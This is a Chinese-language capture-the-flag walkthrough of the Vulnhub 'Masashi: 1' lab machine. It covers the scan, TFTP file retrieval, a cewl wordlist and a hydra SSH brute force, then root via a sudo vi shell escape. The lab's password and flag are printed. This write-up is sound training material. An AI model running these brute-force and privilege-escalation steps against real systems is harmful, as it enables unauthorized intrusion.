当前位置:网站首页>Masashi: 1 vulnhub walkthrough
Masashi: 1 vulnhub walkthrough
2022-08-02 03:25:00 【xdeclearn】
Masashi: 1
虚拟机信息:http://www.vulnhub.com/entry/masashi-1,599/
0x01. 信息收集获取shell
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
tcp端口只开放了22和80,访问80为apache介绍页面,于是使用dirb爬取一下目录,发现了robots.txt。
User-agent: *
Disallow: /
/snmpwalk.txt
/sshfolder.txt
/security.txt
访问得到snmpwalk.txt,得到了提示访问服务器的tftp服务。
| 403:
| Name: cron
| Path: /usr/sbin/cron
| Params: -f
| 768:
| Name: tftpd
| Path: /usr/sbin/tftpd
| Params: -- listen — user tftp -- address 0.0.0.0:1337 -- secure /srv/tftp
| 806:
| Name: mysqld
| Path: /usr/sbin/mysqld
| Params: -i 0.0.0.0
sshfolder.txt,得到了用户名sv5
[email protected]:~/srv/tftp# ls -la
total 20
drwx------ 2 sv5 sv5 4096 Oct 15 19:34 .
drwxr-xr-x 27 sv5 sv5 4096 Oct 21 12:37 ..
-rw------- 1 sv5 sv5 2602 Oct 15 19:34 id_rsa
-rw-r--r-- 1 sv5 sv5 565 Oct 15 19:34 id_rsa.pub
[email protected]:~/srv/tftp#
于是使用tftp client访问得到id_rsa,id_rsa.pub。
[email protected]:~$ tftp 192.168.56.120 1337
tftp> get id_rsa
Received 67 bytes in 0.0 seconds
tftp> get id_rsa.pub
Received 108 bytes in 0.0 seconds
tftp> quit
[email protected]:~$ cat id_rsa
So if you cant use the key then what else can you use????????? :)
[email protected]:~$ cat id_rsa.pub
Dude seriously, The key doesnt work here, try the other cewl thing here "/index.html"..... Wink ;) Wink ;)
按照提示,爬取主页作为字典去爆破用户sv5的密码,得到密码whoistheplug。
[email protected]:~$ cewl http://192.168.56.120 > 1.txt
[email protected]:~$ cat 1.txt |wc -l
239
[email protected]:~$ hydra -l sv5 -P 1.txt ssh://192.168.56.120 -t 4
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-12-01 21:13:45
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 238 login tries (l:1/p:238), ~60 tries per task
[DATA] attacking ssh://192.168.56.120:22/
[22][ssh] host: 192.168.56.120 login: sv5 password: whoistheplug
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-12-01 21:20:37
成功登录获取shell。
[email protected]:~$ cat user.txt
Hey buddy :)
Well done on that initial foothold ;) ;)
Key Takeaways:
* Do not always believe what the tool tells you, be the "Doubting Thomas" sometimes and look for
yourself, e.g 1 disallowed entry in robots.txt wasn't really true was it? hehehehe
* It's not always about TCP all the time..... UDP is there for a reason and is just as important a
protocol as is TCP......
* Lastly, there is always an alternative to everything i.e the ssh part.
***** Congrats Pwner ******
Now on to the privesc now ;)
##Creator: Donald Munengiwa
##Twitter: @lorde_zw
0x02. 获取root
运行sudo -l发现该用户可以任意用户执行vi,按esc后输入:!/bin/bash直接提权至root。
[email protected]:~$ sudo -l
Matching Defaults entries for sv5 on masashi:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sv5 may run the following commands on masashi:
(ALL) NOPASSWD: /usr/bin/vi /tmp/*
[email protected]:~$ sudo -u root /usr/bin/vi /tmp/1.txt
[email protected]:/home/sv5# cat /root/root.txt
Quite the pwner huh!!!! :)
Well i bet you had fun ;) ;)
Key Takeaways:
* Well, this time i'll leave it to you to tell me what you though about the overall experience you
had from this challenge.
* Let us know on Twitter @lorde_zw or on linkedIn @Sv5
****** Congrats Pwner ******
If you've gotten this far, please DM your Full name, Twitter Username, LinkedIn Username,
the flag [th33p1nplugg] and your country to the Twitter handle @lorde_zw ..... I will do a
shoutout to all the pnwers who completed the challenge.....
Follow us for more fun Stuff..... Happy Hacktober Pwner (00=[][]=00)
##Creator: Donald Munengiwa
##Twitter: @lorde_zw
边栏推荐
- What will be new in PHP8.2?
- 16. JS events, string and operator
- v-on基本使用、参数传递、修饰词
- 如何根据地图上的两个坐标点来确定方向
- 1. Beginning with PHP
- Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary
- Scrapy爬虫遇见重定向301/302问题解决方法
- 解决uni-app 打包H5网站 下载图片问题
- Advanced Operations on Arrays
- 阿里云服务器如何使用admin账户登录
猜你喜欢

解决5+APP真机测试无法访问后台(同局域网)

SQL:DDL、DML、DQL、DCL相应介绍以及演示

Pycharm打包项目为exe文件

Kali install IDEA

(1)Thinkphp6入门、安装视图、模板渲染、变量赋值

ES6数组的扩展方法map、filter、reduce、fill和数组遍历for…in for…of arr.forEach

正则笔记(2)- 正则表达式位置匹配攻略

(5) 模块与包、编码格式、文件操作、目录操作
![[sebastian/diff] A historical change extension library for comparing two texts](/img/c7/ea79db7a5003523ece7cf4f39e4987.png)
[sebastian/diff] A historical change extension library for comparing two texts

DVWA drone installation tutorial
随机推荐
1. Beginning with PHP
VIKINGS: 1 vulnhub walkthrough
Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary
js __proto__、prototype、constructor的关系
hackmyvm: may walkthrough
PHP基金会三月新闻公告发布
解决5+APP真机测试无法访问后台(同局域网)
百度定位js API
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
[campo/random-user-agent] Randomly fake your User-Agent
2. PHP variables, output, EOF, conditional statements
TCP通信程序
一分种一起来了解Vite的基础
阿里云MySQL5.7安装以及部分主要问题(总和)
ES6迭代器解释举例
SQL分类、DQL(数据查询语言)、以及相应SQL查询语句演示
[sebastian/diff] A historical change extension library for comparing two texts
hackmyvm-hopper walkthrough
(6) 学生信息管理系统设计
PHP有哪些杀手级超厉害框架或库或应用?